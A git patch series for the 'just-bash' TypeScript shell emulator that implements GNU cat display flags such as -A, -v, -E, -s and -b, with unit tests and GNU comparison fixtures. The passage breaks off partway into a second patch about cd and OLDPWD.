From 6130334f0ed013771bbe39f32a249bdaf762c488 Mon Sep 17 00:00:00 2001 From: Lars Trieloff Date: Sun, 12 Jul 2026 14:51:22 +0200 Subject: [PATCH 1/9] feat(cat): implement GNU display flags (-A -b -e -E -s -t -T -v) (#293) * test(cat): add comprehensive tests for -v nonprinting character display Agent-Id: agent-b06ccde0-dadd-446a-8eb7-4da1a3a9a277 Linked-Note-Id: b2ce1141-e925-4ca2-9839-9929c05d6e05 * test(cat): add comprehensive comparison tests for display flags (-A -b - Agent-Id: agent-cb21b343-b39f-4576-af13-6eca0dfea909 Linked-Note-Id: 2f16c18e-02bf-45f0-9c55-ea5a46c11175 * feat(cat): implement GNU display flags -A -b -e -E -s -t -T -v Add show-nonprinting/-v byte table, show-ends, show-tabs, squeeze-blank, number-nonblank, long options, and -u no-op, matching GNU coreutils. Includes unit tests and locked comparison fixtures. Signed-off-by: Lars Trieloff --------- Signed-off-by: Lars Trieloff --- .../commands/cat/cat.display-flags.test.ts | 130 ++++++++++ .../src/commands/cat/cat.flags-misc.test.ts | 117 +++++++++ .../commands/cat/cat.show-nonprinting.test.ts | 81 +++++++ packages/just-bash/src/commands/cat/cat.ts | 180 +++++++++++--- .../cat-show.comparison.test.ts | 163 +++++++++++++ .../cat-show.comparison.fixtures.json | 222 ++++++++++++++++++ 6 files changed, 862 insertions(+), 31 deletions(-) create mode 100644 packages/just-bash/src/commands/cat/cat.display-flags.test.ts create mode 100644 packages/just-bash/src/commands/cat/cat.flags-misc.test.ts create mode 100644 packages/just-bash/src/commands/cat/cat.show-nonprinting.test.ts create mode 100644 packages/just-bash/src/comparison-tests/cat-show.comparison.test.ts create mode 100644 packages/just-bash/src/comparison-tests/fixtures/cat-show.comparison.fixtures.json diff --git a/packages/just-bash/src/commands/cat/cat.display-flags.test.ts b/packages/just-bash/src/commands/cat/cat.display-flags.test.ts new file mode 100644 index 000000000..227983291 --- /dev/null +++ b/packages/just-bash/src/commands/cat/cat.display-flags.test.ts @@ -0,0 +1,130 @@ +import { describe, expect, it } from "vitest"; +import { Bash } from "../../Bash.js"; + +describe("cat -E / -T (show ends and tabs)", () => { + it("-E appends $ before each newline", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\nb\\n" | cat -E'); + expect(r.stdout).toBe("a$\nb$\n"); + expect(r.stderr).toBe(""); + expect(r.exitCode).toBe(0); + }); + + it("-E does not append $ to a final unterminated line", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\nb" | cat -E'); + expect(r.stdout).toBe("a$\nb"); + expect(r.stderr).toBe(""); + }); + + it("-T renders TAB as ^I", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\tb\\n" | cat -T'); + expect(r.stdout).toBe("a^Ib\n"); + expect(r.stderr).toBe(""); + }); + + it("long options --show-ends and --show-tabs work", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\tb\\n" | cat --show-ends --show-tabs'); + expect(r.stdout).toBe("a^Ib$\n"); + expect(r.stderr).toBe(""); + }); +}); + +describe("cat flag aliases (-A/-e/-t)", () => { + it("-A is equivalent to -vET", async () => { + const env = new Bash(); + const a = await env.exec('printf "a\\tb\\n" | cat -A'); + const vet = await env.exec('printf "a\\tb\\n" | cat -vET'); + expect(a.stdout).toBe("a^Ib$\n"); + expect(a.stdout).toBe(vet.stdout); + expect(a.stderr).toBe(""); + }); + + it("-e is equivalent to -vE (does not expand tabs)", async () => { + const env = new Bash(); + const e = await env.exec('printf "a\\tb\\n" | cat -e'); + const vE = await env.exec('printf "a\\tb\\n" | cat -vE'); + expect(e.stdout).toBe("a\tb$\n"); + expect(e.stdout).toBe(vE.stdout); + }); + + it("-t is equivalent to -vT (no $ at end)", async () => { + const env = new Bash(); + const t = await env.exec('printf "a\\tb\\n" | cat -t'); + const vT = await env.exec('printf "a\\tb\\n" | cat -vT'); + expect(t.stdout).toBe("a^Ib\n"); + expect(t.stdout).toBe(vT.stdout); + }); + + it("--show-all is equivalent to -vET", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\tb\\n" | cat --show-all'); + expect(r.stdout).toBe("a^Ib$\n"); + }); +}); + +describe("cat -n / -b numbering", () => { + it("-n numbers every line including blank lines", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\n\\nb\\n" | cat -n'); + expect(r.stdout).toBe(" 1\ta\n 2\t\n 3\tb\n"); + expect(r.stderr).toBe(""); + }); + + it("-b numbers only non-blank lines", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\n\\nb\\n" | cat -b'); + expect(r.stdout).toBe(" 1\ta\n\n 2\tb\n"); + expect(r.stderr).toBe(""); + }); + + it("-b overrides -n when both are given", async () => { + const env = new Bash(); + const bn = await env.exec('printf "a\\n\\nb\\n" | cat -bn'); + const b = await env.exec('printf "a\\n\\nb\\n" | cat -b'); + expect(bn.stdout).toBe(" 1\ta\n\n 2\tb\n"); + expect(bn.stdout).toBe(b.stdout); + }); + + it("--number-nonblank long option works", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\n\\nb\\n" | cat --number-nonblank'); + expect(r.stdout).toBe(" 1\ta\n\n 2\tb\n"); + }); + + it("numbers a final unterminated line with no trailing newline", async () => { + const env = new Bash(); + const r = await env.exec('printf "a" | cat -n'); + expect(r.stdout).toBe(" 1\ta"); + expect(r.stderr).toBe(""); + }); +}); + +describe("cat -s (squeeze blank lines)", () => { + it("collapses runs of adjacent blank lines to one", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\n\\n\\n\\nb\\n" | cat -s'); + expect(r.stdout).toBe("a\n\nb\n"); + expect(r.stderr).toBe(""); + }); + + it("collapses leading blank lines", async () => { + const env = new Bash(); + const r = await env.exec('printf "\\n\\n\\na\\n" | cat -s'); + expect(r.stdout).toBe("\na\n"); + }); + + it("squeeze happens before numbering", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\n\\n\\nb\\n" | cat -sn'); + expect(r.stdout).toBe(" 1\ta\n 2\t\n 3\tb\n"); + }); + + it("--squeeze-blank long option works", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\n\\n\\nb\\n" | cat --squeeze-blank'); + expect(r.stdout).toBe("a\n\nb\n"); + }); +}); diff --git a/packages/just-bash/src/commands/cat/cat.flags-misc.test.ts b/packages/just-bash/src/commands/cat/cat.flags-misc.test.ts new file mode 100644 index 000000000..0a3a9d111 --- /dev/null +++ b/packages/just-bash/src/commands/cat/cat.flags-misc.test.ts @@ -0,0 +1,117 @@ +import { describe, expect, it } from "vitest"; +import { Bash } from "../../Bash.js"; + +describe("cat combined and long options", () => { + it("combined -An expands to number + show-all", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\tb\\n" | cat -An'); + expect(r.stdout).toBe(" 1\ta^Ib$\n"); + expect(r.stderr).toBe(""); + expect(r.exitCode).toBe(0); + }); + + it("combined -bE numbers non-blank and shows ends", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\n\\nb\\n" | cat -bE'); + expect(r.stdout).toBe(" 1\ta$\n$\n 2\tb$\n"); + expect(r.stderr).toBe(""); + }); + + it("--number long option works", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\nb\\n" | cat --number'); + expect(r.stdout).toBe(" 1\ta\n 2\tb\n"); + }); + + it("--show-nonprinting long option works", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\001b\\n" | cat --show-nonprinting'); + expect(r.stdout).toBe("a^Ab\n"); + }); +}); + +describe("cat -u (ignored no-op)", () => { + it("-u alone does not change output", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\nb\\n" | cat -u'); + expect(r.stdout).toBe("a\nb\n"); + expect(r.stderr).toBe(""); + expect(r.exitCode).toBe(0); + }); + + it("-u combined with -n still numbers", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\n" | cat -un'); + expect(r.stdout).toBe(" 1\ta\n"); + expect(r.stderr).toBe(""); + }); +}); + +describe("cat unknown flags", () => { + it("errors on an unknown short flag", async () => { + const env = new Bash(); + const r = await env.exec("cat -Z"); + expect(r.stdout).toBe(""); + expect(r.stderr).toBe("cat: invalid option -- 'Z'\n"); + expect(r.exitCode).toBe(1); + }); + + it("errors on an unknown long flag", async () => { + const env = new Bash(); + const r = await env.exec("cat --bogus"); + expect(r.stdout).toBe(""); + expect(r.stderr).toBe("cat: unrecognized option '--bogus'\n"); + expect(r.exitCode).toBe(1); + }); +}); + +describe("cat multi-file numbering with display flags", () => { + it("continues line numbers across files with -n", async () => { + const env = new Bash({ + files: { "/a.txt": "a1\na2\n", "/b.txt": "b1\nb2\n" }, + }); + const r = await env.exec("cat -n /a.txt /b.txt"); + expect(r.stdout).toBe(" 1\ta1\n 2\ta2\n 3\tb1\n 4\tb2\n"); + expect(r.stderr).toBe(""); + }); + + it("squeezes blank lines across the file boundary", async () => { + const env = new Bash({ + files: { "/a.txt": "a\n\n", "/b.txt": "\n\nb\n" }, + }); + const r = await env.exec("cat -s /a.txt /b.txt"); + expect(r.stdout).toBe("a\n\nb\n"); + expect(r.stderr).toBe(""); + }); + + it("applies -E across a file that does not end in newline", async () => { + const env = new Bash({ + files: { "/a.txt": "a", "/b.txt": "b\n" }, + }); + const r = await env.exec("cat -E /a.txt /b.txt"); + expect(r.stdout).toBe("ab$\n"); + expect(r.stderr).toBe(""); + }); +}); + +describe("cat --help lists display flags", () => { + it("mentions each supported flag", async () => { + const env = new Bash(); + const r = await env.exec("cat --help"); + expect(r.exitCode).toBe(0); + for (const opt of [ + "--show-all", + "--number-nonblank", + "--show-ends", + "--number", + "--squeeze-blank", + "--show-tabs", + "--show-nonprinting", + "-e", + "-t", + "-u", + ]) { + expect(r.stdout).toContain(opt); + } + }); +}); diff --git a/packages/just-bash/src/commands/cat/cat.show-nonprinting.test.ts b/packages/just-bash/src/commands/cat/cat.show-nonprinting.test.ts new file mode 100644 index 000000000..b42d5fa37 --- /dev/null +++ b/packages/just-bash/src/commands/cat/cat.show-nonprinting.test.ts @@ -0,0 +1,81 @@ +import { describe, expect, it } from "vitest"; +import { Bash } from "../../Bash.js"; + +/** Independent reference implementation of the GNU `cat -v` byte table. */ +function vRef(byte: number, showTabs: boolean): string { + if (byte === 9) return showTabs ? "^I" : "\t"; + if (byte >= 32) { + if (byte < 127) return String.fromCharCode(byte); + if (byte === 127) return "^?"; + const c = byte - 128; + if (c >= 32) return c === 127 ? "M-^?" : `M-${String.fromCharCode(c)}`; + return `M-^${String.fromCharCode(c + 64)}`; + } + return `^${String.fromCharCode(byte + 64)}`; +} + +describe("cat -v byte table (GNU semantics)", () => { + it("transforms every byte 0-255 (except LF) exactly", async () => { + const codes: number[] = []; + for (let b = 0; b <= 255; b++) { + if (b !== 10) codes.push(b); + } + codes.push(10); // trailing newline terminator + const env = new Bash({ files: { "/bytes.bin": new Uint8Array(codes) } }); + const r = await env.exec("cat -v /bytes.bin"); + + let expected = ""; + for (const b of codes) { + if (b === 10) expected += "\n"; + else expected += vRef(b, false); + } + expect(r.stdout).toBe(expected); + expect(r.stderr).toBe(""); + expect(r.exitCode).toBe(0); + }); + + it("matches known control-character representations", async () => { + const env = new Bash({ + files: { + "/c.bin": new Uint8Array([0, 1, 7, 8, 27, 31, 32, 126, 127, 10]), + }, + }); + const r = await env.exec("cat -v /c.bin"); + expect(r.stdout).toBe("^@^A^G^H^[^_ ~^?\n"); + }); + + it("renders high bytes with M- notation", async () => { + const env = new Bash({ + files: { + "/h.bin": new Uint8Array([128, 129, 155, 159, 160, 200, 254, 255, 10]), + }, + }); + const r = await env.exec("cat -v /h.bin"); + expect(r.stdout).toBe("M-^@M-^AM-^[M-^_M- M-HM-~M-^?\n"); + }); + + it("leaves TAB literal under -v but renders ^I under -vT", async () => { + const env = new Bash({ + files: { "/t.bin": new Uint8Array([97, 9, 98, 10]) }, + }); + const v = await env.exec("cat -v /t.bin"); + expect(v.stdout).toBe("a\tb\n"); + const vt = await env.exec("cat -vT /t.bin"); + expect(vt.stdout).toBe("a^Ib\n"); + }); + + it("never transforms the newline terminator", async () => { + const env = new Bash(); + const r = await env.exec('printf "a\\nb\\n" | cat -v'); + expect(r.stdout).toBe("a\nb\n"); + }); + + it("renders UTF-8 multibyte bytes with M- notation", async () => { + // "é" is UTF-8 0xC3 0xA9 + const env = new Bash({ + files: { "/u.bin": new Uint8Array([0xc3, 0xa9, 10]) }, + }); + const r = await env.exec("cat -v /u.bin"); + expect(r.stdout).toBe("M-CM-)\n"); + }); +}); diff --git a/packages/just-bash/src/commands/cat/cat.ts b/packages/just-bash/src/commands/cat/cat.ts index 867c85bc6..5a7d3b34c 100644 --- a/packages/just-bash/src/commands/cat/cat.ts +++ b/packages/just-bash/src/commands/cat/cat.ts @@ -9,15 +9,50 @@ const catHelp = { summary: "concatenate files and print on the standard output", usage: "cat [OPTION]... [FILE]...", options: [ + "-A, --show-all equivalent to -vET", + "-b, --number-nonblank number nonempty output lines, overrides -n", + "-e equivalent to -vE", + "-E, --show-ends display $ at end of each line", "-n, --number number all output lines", + "-s, --squeeze-blank suppress repeated empty output lines", + "-t equivalent to -vT", + "-T, --show-tabs display TAB characters as ^I", + "-u (ignored)", + "-v, --show-nonprinting use ^ and M- notation, except for LFD and TAB", " --help display this help and exit", ], }; const argDefs = { number: { short: "n", long: "number", type: "boolean" as const }, + numberNonblank: { + short: "b", + long: "number-nonblank", + type: "boolean" as const, + }, + showEnds: { short: "E", long: "show-ends", type: "boolean" as const }, + showTabs: { short: "T", long: "show-tabs", type: "boolean" as const }, + showNonprinting: { + short: "v", + long: "show-nonprinting", + type: "boolean" as const, + }, + showAll: { short: "A", long: "show-all", type: "boolean" as const }, + squeeze: { short: "s", long: "squeeze-blank", type: "boolean" as const }, + vE: { short: "e", type: "boolean" as const }, + vT: { short: "t", type: "boolean" as const }, + ignored: { short: "u", type: "boolean" as const }, }; +interface CatOptions { + numberAll: boolean; + numberNonblank: boolean; + showEnds: boolean; + showTabs: boolean; + showNonprinting: boolean; + squeeze: boolean; +} + export const catCommand: Command = { name: "cat", @@ -28,8 +63,26 @@ export const catCommand: Command = { const parsed = parseArgs("cat", args, argDefs); if (!parsed.ok) return parsed.error; + const f = parsed.result.flags; + + // Alias expansion: -A == -vET, -e == -vE, -t == -vT. + const showEnds = f.showEnds || f.showAll || f.vE; + const showTabs = f.showTabs || f.showAll || f.vT; + const showNonprinting = f.showNonprinting || f.showAll || f.vE || f.vT; + const squeeze = f.squeeze; + // -b overrides -n. + const numberNonblank = f.numberNonblank; + const numberAll = f.number && !numberNonblank; + + const opts: CatOptions = { + numberAll, + numberNonblank, + showEnds, + showTabs, + showNonprinting, + squeeze, + }; - const showLineNumbers = parsed.result.flags.number; const files = parsed.result.positional; // Read files (allows "-" for stdin) @@ -39,21 +92,30 @@ export const catCommand: Command = { stopOnError: false, }); - let stdout = ""; - let lineNumber = 1; + let stdout: string; + const transform = + showEnds || + showTabs || + showNonprinting || + squeeze || + numberAll || + numberNonblank; - for (const { content } of readResult.files) { - // cat is byte-clean: emit raw bytes unchanged. The output boundary + if (!transform) { + // Byte-clean fast path: emit raw bytes unchanged. The output boundary // (Bash.exec) decodes UTF-8 sequences back to Unicode for terminals. - const bytes = latin1FromBytes(content); - if (showLineNumbers) { - // Real bash continues line numbers across files - const result = addLineNumbers(bytes, lineNumber); - stdout += result.content; - lineNumber = result.nextLineNumber; - } else { - stdout += bytes; + stdout = ""; + for (const { content } of readResult.files) { + stdout += latin1FromBytes(content); + } + } else { + // Numbering and squeeze state continue across all inputs, so process + // the concatenated byte stream as a single unit. + let stream = ""; + for (const { content } of readResult.files) { + stream += latin1FromBytes(content); } + stdout = formatCat(stream, opts); } // cat is byte-clean: it forwards every byte of stdin / file content @@ -70,24 +132,80 @@ export const catCommand: Command = { }, }; -function addLineNumbers( - content: string, - startLine: number, -): { content: string; nextLineNumber: number } { - const lines = content.split("\n"); - // Don't number the trailing empty line if file ends with newline - const hasTrailingNewline = content.endsWith("\n"); - const linesToNumber = hasTrailingNewline ? lines.slice(0, -1) : lines; - - const numbered = linesToNumber.map((line, i) => { - const num = String(startLine + i).padStart(6, " "); - return `${num}\t${line}`; - }); - - return { - content: numbered.join("\n") + (hasTrailingNewline ? "\n" : ""), - nextLineNumber: startLine + linesToNumber.length, - }; +/** + * GNU `cat -v` byte transformation (per byte 0-255). LF and TAB are handled + * by the caller and never passed here. + */ +function showNonprintingByte(byte: number): string { + if (byte >= 32) { + if (byte < 127) return String.fromCharCode(byte); + if (byte === 127) return "^?"; + // byte >= 128 + const c = byte - 128; + if (c >= 32) return c === 127 ? "M-^?" : `M-${String.fromCharCode(c)}`; + return `M-^${String.fromCharCode(c + 64)}`; + } + // byte < 32 (TAB and LF already handled by caller) + return `^${String.fromCharCode(byte + 64)}`; +} + +/** Apply -v / -T transforms to a single line's bytes (excludes the newline). */ +function transformLine(line: string, opts: CatOptions): string { + if (!opts.showNonprinting && !opts.showTabs) return line; + let out = ""; + for (let i = 0; i < line.length; i++) { + const b = line.charCodeAt(i); + if (b === 9) { + out += opts.showTabs ? "^I" : "\t"; + } else if (opts.showNonprinting) { + out += showNonprintingByte(b); + } else { + out += line[i]; + } + } + return out; +} + +/** + * Format the concatenated byte stream applying numbering, squeeze, and the + * -v/-T/-E transforms in GNU per-line order. + */ +function formatCat(stream: string, opts: CatOptions): string { + const parts = stream.split("\n"); + let out = ""; + let lineNo = 1; + let prevBlank = false; + + for (let i = 0; i < parts.length; i++) { + const isLast = i === parts.length - 1; + const terminated = !isLast; + const content = parts[i]; + + // A trailing empty segment means the stream ended with a newline (or was + // empty): there is no final partial line to emit. + if (isLast && content === "") break; + + const blank = content === ""; + + // Squeeze: collapse runs of adjacent blank lines into a single blank line. + if (opts.squeeze && blank && prevBlank) { + continue; + } + prevBlank = blank; + + let prefix = ""; + if (opts.numberAll || (opts.numberNonblank && !blank)) { + prefix = `${String(lineNo).padStart(6, " ")}\t`; + lineNo++; + } + + out += prefix + transformLine(content, opts); + if (terminated) { + out += opts.showEnds ? "$\n" : "\n"; + } + } + + return out; } import type { CommandFuzzInfo } from "../fuzz-flags-types.js"; diff --git a/packages/just-bash/src/comparison-tests/cat-show.comparison.test.ts b/packages/just-bash/src/comparison-tests/cat-show.comparison.test.ts new file mode 100644 index 000000000..48bcacde3 --- /dev/null +++ b/packages/just-bash/src/comparison-tests/cat-show.comparison.test.ts @@ -0,0 +1,163 @@ +import { afterEach, beforeEach, describe, it } from "vitest"; +import { + cleanupTestDir, + compareOutputs, + createTestDir, + setupFiles, +} from "./fixture-runner.js"; + +// GNU coreutils `cat` display flags (-A -b -e -E -s -t -T -v -u). +// macOS ships BSD `cat`, which lacks -A/-E/-T/long options and diverges on +// -v notation, so these fixtures are recorded against GNU cat and locked. +const BASIC = "line 1\nline 2\nline 3\n"; +const BLANKS = "a\n\n\n\nb\n\n\nc\n"; +const TABS = "col1\tcol2\tcol3\n"; +const CTRL = "bell\x07end\nesc\x1bhere\ndel\x7fmark\n"; +const MIXED = "tab\there\nctrl\x07bell\ndel\x7fdel\n"; +const NOTRAIL = "tab\there no newline"; + +describe("cat display flags - GNU Comparison", () => { + let testDir: string; + + beforeEach(async () => { + testDir = await createTestDir(); + }); + + afterEach(async () => { + await cleanupTestDir(testDir); + }); + + it("should match -A (show-all)", async () => { + const env = await setupFiles(testDir, { "mixed.txt": MIXED }); + await compareOutputs(env, testDir, "cat -A mixed.txt"); + }); + + it("should match -A on file without trailing newline", async () => { + const env = await setupFiles(testDir, { "notrail.txt": NOTRAIL }); + await compareOutputs(env, testDir, "cat -A notrail.txt"); + }); + + it("should match -b (number-nonblank)", async () => { + const env = await setupFiles(testDir, { "blanks.txt": BLANKS }); + await compareOutputs(env, testDir, "cat -b blanks.txt"); + }); + + it("should match -e (== -vE)", async () => { + const env = await setupFiles(testDir, { "mixed.txt": MIXED }); + await compareOutputs(env, testDir, "cat -e mixed.txt"); + }); + + it("should match -E (show-ends)", async () => { + const env = await setupFiles(testDir, { "basic.txt": BASIC }); + await compareOutputs(env, testDir, "cat -E basic.txt"); + }); + + it("should match -E on file without trailing newline", async () => { + const env = await setupFiles(testDir, { "notrail.txt": NOTRAIL }); + await compareOutputs(env, testDir, "cat -E notrail.txt"); + }); + + it("should match -s (squeeze-blank)", async () => { + const env = await setupFiles(testDir, { "blanks.txt": BLANKS }); + await compareOutputs(env, testDir, "cat -s blanks.txt"); + }); + + it("should match -t (== -vT)", async () => { + const env = await setupFiles(testDir, { "tabs.txt": TABS }); + await compareOutputs(env, testDir, "cat -t tabs.txt"); + }); + + it("should match -T (show-tabs)", async () => { + const env = await setupFiles(testDir, { "tabs.txt": TABS }); + await compareOutputs(env, testDir, "cat -T tabs.txt"); + }); + + it("should match -v (show-nonprinting)", async () => { + const env = await setupFiles(testDir, { "ctrl.txt": CTRL }); + await compareOutputs(env, testDir, "cat -v ctrl.txt"); + }); + + it("should match -u (ignored no-op)", async () => { + const env = await setupFiles(testDir, { "basic.txt": BASIC }); + await compareOutputs(env, testDir, "cat -u basic.txt"); + }); +}); + +describe("cat combined flags - GNU Comparison", () => { + let testDir: string; + + beforeEach(async () => { + testDir = await createTestDir(); + }); + + afterEach(async () => { + await cleanupTestDir(testDir); + }); + + it("should match -An (show-all + number)", async () => { + const env = await setupFiles(testDir, { "mixed.txt": MIXED }); + await compareOutputs(env, testDir, "cat -An mixed.txt"); + }); + + it("should match -bE (number-nonblank + show-ends)", async () => { + const env = await setupFiles(testDir, { "blanks.txt": BLANKS }); + await compareOutputs(env, testDir, "cat -bE blanks.txt"); + }); + + it("should match -vET (== -A)", async () => { + const env = await setupFiles(testDir, { "mixed.txt": MIXED }); + await compareOutputs(env, testDir, "cat -vET mixed.txt"); + }); + + it("should match -nb (-b overrides -n)", async () => { + const env = await setupFiles(testDir, { "blanks.txt": BLANKS }); + await compareOutputs(env, testDir, "cat -nb blanks.txt"); + }); + + it("should match -sn (squeeze + number)", async () => { + const env = await setupFiles(testDir, { "blanks.txt": BLANKS }); + await compareOutputs(env, testDir, "cat -sn blanks.txt"); + }); +}); + +describe("cat long options - GNU Comparison", () => { + let testDir: string; + + beforeEach(async () => { + testDir = await createTestDir(); + }); + + afterEach(async () => { + await cleanupTestDir(testDir); + }); + + it("should match --show-all", async () => { + const env = await setupFiles(testDir, { "mixed.txt": MIXED }); + await compareOutputs(env, testDir, "cat --show-all mixed.txt"); + }); + + it("should match --number-nonblank", async () => { + const env = await setupFiles(testDir, { "blanks.txt": BLANKS }); + await compareOutputs(env, testDir, "cat --number-nonblank blanks.txt"); + }); + + it("should match --show-ends", async () => { + const env = await setupFiles(testDir, { "basic.txt": BASIC }); + await compareOutputs(env, testDir, "cat --show-ends basic.txt"); + }); + + it("should match --squeeze-blank", async () => { + const env = await setupFiles(testDir, { "blanks.txt": BLANKS }); + await compareOutputs(env, testDir, "cat --squeeze-blank blanks.txt"); + }); + + it("should match --show-tabs", async () => { + const env = await setupFiles(testDir, { "tabs.txt": TABS }); + await compareOutputs(env, testDir, "cat --show-tabs tabs.txt"); + }); + + it("should match --show-nonprinting", async () => { + const env = await setupFiles(testDir, { "ctrl.txt": CTRL }); + await compareOutputs(env, testDir, "cat --show-nonprinting ctrl.txt"); + }); +}); diff --git a/packages/just-bash/src/comparison-tests/fixtures/cat-show.comparison.fixtures.json b/packages/just-bash/src/comparison-tests/fixtures/cat-show.comparison.fixtures.json new file mode 100644 index 000000000..47c7a606e --- /dev/null +++ b/packages/just-bash/src/comparison-tests/fixtures/cat-show.comparison.fixtures.json @@ -0,0 +1,222 @@ +{ + "044a8a4e0fa51fa2": { + "command": "cat --show-nonprinting ctrl.txt", + "files": { + "ctrl.txt": "bell\u0007end\nesc\u001bhere\ndelmark\n" + }, + "stdout": "bell^Gend\nesc^[here\ndel^?mark\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "20119c401f76835e": { + "command": "cat -nb blanks.txt", + "files": { + "blanks.txt": "a\n\n\n\nb\n\n\nc\n" + }, + "stdout": " 1\ta\n\n\n\n 2\tb\n\n\n 3\tc\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "4294948bf58cb6fd": { + "command": "cat --show-tabs tabs.txt", + "files": { + "tabs.txt": "col1\tcol2\tcol3\n" + }, + "stdout": "col1^Icol2^Icol3\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "452a30834ad08854": { + "command": "cat --squeeze-blank blanks.txt", + "files": { + "blanks.txt": "a\n\n\n\nb\n\n\nc\n" + }, + "stdout": "a\n\nb\n\nc\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "5850160a7e5e4076": { + "command": "cat -v ctrl.txt", + "files": { + "ctrl.txt": "bell\u0007end\nesc\u001bhere\ndelmark\n" + }, + "stdout": "bell^Gend\nesc^[here\ndel^?mark\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "599408168547599e": { + "command": "cat -bE blanks.txt", + "files": { + "blanks.txt": "a\n\n\n\nb\n\n\nc\n" + }, + "stdout": " 1\ta$\n$\n$\n$\n 2\tb$\n$\n$\n 3\tc$\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "6b86128309f82b35": { + "command": "cat -sn blanks.txt", + "files": { + "blanks.txt": "a\n\n\n\nb\n\n\nc\n" + }, + "stdout": " 1\ta\n 2\t\n 3\tb\n 4\t\n 5\tc\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "70dc12563ec9b4d7": { + "command": "cat -E notrail.txt", + "files": { + "notrail.txt": "tab\there no newline" + }, + "stdout": "tab\there no newline", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "7760243dfcbf947e": { + "command": "cat -vET mixed.txt", + "files": { + "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n" + }, + "stdout": "tab^Ihere$\nctrl^Gbell$\ndel^?del$\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "9980f3f6aa971e21": { + "command": "cat -A notrail.txt", + "files": { + "notrail.txt": "tab\there no newline" + }, + "stdout": "tab^Ihere no newline", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "9a837367dd8691d7": { + "command": "cat -e mixed.txt", + "files": { + "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n" + }, + "stdout": "tab\there$\nctrl^Gbell$\ndel^?del$\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "9e1e48c2e33d9997": { + "command": "cat -u basic.txt", + "files": { + "basic.txt": "line 1\nline 2\nline 3\n" + }, + "stdout": "line 1\nline 2\nline 3\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "ab7b66d85210c7d9": { + "command": "cat --number-nonblank blanks.txt", + "files": { + "blanks.txt": "a\n\n\n\nb\n\n\nc\n" + }, + "stdout": " 1\ta\n\n\n\n 2\tb\n\n\n 3\tc\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "ac561dbe85ab9a02": { + "command": "cat --show-all mixed.txt", + "files": { + "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n" + }, + "stdout": "tab^Ihere$\nctrl^Gbell$\ndel^?del$\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "b392b9efa61475e0": { + "command": "cat -t tabs.txt", + "files": { + "tabs.txt": "col1\tcol2\tcol3\n" + }, + "stdout": "col1^Icol2^Icol3\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "bf25bc8aec889481": { + "command": "cat --show-ends basic.txt", + "files": { + "basic.txt": "line 1\nline 2\nline 3\n" + }, + "stdout": "line 1$\nline 2$\nline 3$\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "ca3ac60006423c04": { + "command": "cat -b blanks.txt", + "files": { + "blanks.txt": "a\n\n\n\nb\n\n\nc\n" + }, + "stdout": " 1\ta\n\n\n\n 2\tb\n\n\n 3\tc\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "d3d5075ff97a97ca": { + "command": "cat -An mixed.txt", + "files": { + "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n" + }, + "stdout": " 1\ttab^Ihere$\n 2\tctrl^Gbell$\n 3\tdel^?del$\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "de9d74ef7f2470c4": { + "command": "cat -A mixed.txt", + "files": { + "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n" + }, + "stdout": "tab^Ihere$\nctrl^Gbell$\ndel^?del$\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "e453713c81330d88": { + "command": "cat -T tabs.txt", + "files": { + "tabs.txt": "col1\tcol2\tcol3\n" + }, + "stdout": "col1^Icol2^Icol3\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "fea0ba381c025a27": { + "command": "cat -s blanks.txt", + "files": { + "blanks.txt": "a\n\n\n\nb\n\n\nc\n" + }, + "stdout": "a\n\nb\n\nc\n", + "stderr": "", + "exitCode": 0, + "locked": true + }, + "feaa71664184f56c": { + "command": "cat -E basic.txt", + "files": { + "basic.txt": "line 1\nline 2\nline 3\n" + }, + "stdout": "line 1$\nline 2$\nline 3$\n", + "stderr": "", + "exitCode": 0, + "locked": true + } +} From 2586623e5dbfd9bd88871c185b251dc7b6c02a78 Mon Sep 17 00:00:00 2001 From: Matthew Skovranek <59619403+skovranek@users.noreply.github.com> Date: Wed, 15 Jul 2026 12:57:10 -0400 Subject: [PATCH 2/9] fix(interpreter): seed cd dash from OLDPWD exec option (#292) --- .../just-bash/src/Bash.exec-options.test.ts | 23 +++++++++++++++++++ packages/just-bash/src/Bash.ts | 1 + 2 files changed, 24 insertions(+) diff --git a/packages/just-bash/src/Bash.exec-options.test.ts b/packages/just-bash/src/Bash.exec-options.test.ts index 549d70edc..1d7e1ac32 100644 --- a/packages/just-bash/src/Bash.exec-options.test.ts +++ 